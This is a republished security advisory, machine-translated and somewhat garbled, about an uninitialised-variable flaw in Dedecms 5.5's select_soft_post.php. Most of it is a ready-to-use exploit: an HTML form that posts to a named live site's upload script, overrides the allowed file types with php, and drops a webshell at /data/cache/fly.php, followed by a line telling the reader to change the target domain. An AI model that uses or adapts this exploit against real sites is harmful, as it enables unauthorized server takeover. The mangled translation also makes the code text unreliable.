No initial vulnerability in Dedecms select_soft_post.php page Variables

Source: Internet
Author: User

Text/Flyh4t

Affected Version: Dedecms 5.5

The vulnerability generated file is located in includedialogselect_soft_post.php,
The variable $ pai_basedir is not correctly initialized, so it can be skipped.
After identity authentication and system variable initialization, attackers can upload arbitrary files to the specified directory.
The vulnerability can be exploited only when register_globals = on.
Variable value. The Code is as follows:

<Html> <Body style = "FONT-SIZE: 9pt"> ---------- Dedecms v55 RCE Exploit Codz By flyh4t
---------- <Br/>
<Form action = http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method = POST enctype = "multipart/form-data" name = myform>
<Input type = hidden name = activepath value =/data/cache //>
<Input type = hidden name = pai_basedir value =.../>
<Input type = hidden name = cfg_imgtype value = php/>
<Input type = hidden name = __not_allowall value = txt/>
<Input type = hidden name = __softtype value = php/>
<Input type = hidden name = pai_mediatype value = php/>
<Input type = hidden name = f value = form1.enclosure/>
<Input type = hidden name = job value = upload/>
<Input type = hidden name = newname value = fly. php/>
Select U Shell <input type = file name = previusfile size = 25/>
<Input type = submit name = sb1 value = OK/>
</Form>
<Br/>
Its just a exp for the bug of Dedecms v55... <br/>
Need register_globals = on... <br/>
Fun the game, get a webshell at/data/cache/fly. php... <br/>
</Body>
</Html>





Modify the website domain name corresponding to the form.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.